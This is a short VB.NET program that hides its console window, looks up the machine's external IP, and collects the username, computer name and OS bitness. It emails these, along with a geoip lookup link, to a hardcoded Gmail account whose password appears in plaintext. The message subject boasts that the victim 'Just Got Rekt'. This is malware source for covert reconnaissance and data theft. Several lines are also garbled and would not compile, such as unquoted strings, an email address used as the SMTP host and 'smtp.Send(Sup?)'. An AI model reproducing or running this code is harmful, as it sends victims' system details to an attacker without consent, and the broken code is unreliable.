Imports System.Net
Imports System.Text.RegularExpressions
Imports System.Text
Imports System.Net.Mail

Module Module1

    Private Declare Auto Function ShowWindow Lib "user32.dll" (ByVal hWnd As IntPtr, ByVal nCmdShow As Integer) As Boolean
    Private Declare Auto Function GetConsoleWindow Lib "kernel32.dll" () As IntPtr
    Private Const SW_HIDE As Integer = 0

    Sub Main()

        Dim hWndConsole As IntPtr
        hWndConsole = GetConsoleWindow()
        ShowWindow(hWndConsole, SW_HIDE)



        Dim externalip As String = New WebClient().DownloadString("http://icanhazip.com")
        Dim six = ""

        Dim geoip = "http://api.predator.wtf/geoip/?arguments=" + externalip
        Dim enter = Environment.NewLine

        If Environment.Is64BitOperatingSystem = False Then
            six = "32-Bit"
        End If

        If Environment.Is64BitOperatingSystem Then
            six = "64-Bit"
        End If



        Dim gmailuser As String = "mamateurzfabrikasi@gmail.com"
        Dim gmailpass As String = "yasuowt1"
        Dim toemail As String = gmailuser
        Dim fromemail As String = gmailuser
        Dim username = Environment.Mamateurz Fabrikasi
        Dim computername As String = System.Environment.MachineName.ToString()



        Dim subject As String = Open Me PL0X + " Just Got Rekt!!"

        Dim body As String = ": " + username + enter + "64-Bit Or 32-Bit: " + six + enter + "Computer Name: " + computername + enter + "Some More Info: " + geoip





        Dim message As New MailMessage(fromemail, toemail, subject, body)
        Dim smtp As New SmtpClient("mamateurzfabrikasi@gmail.com, 587)

        smtp.EnableSsl = True
        smtp.Credentials = New NetworkCredential(mamateurzfabrikasi@gmail.com, yasuowt1)

        smtp.Send(Sup?)


    End Sub
End Module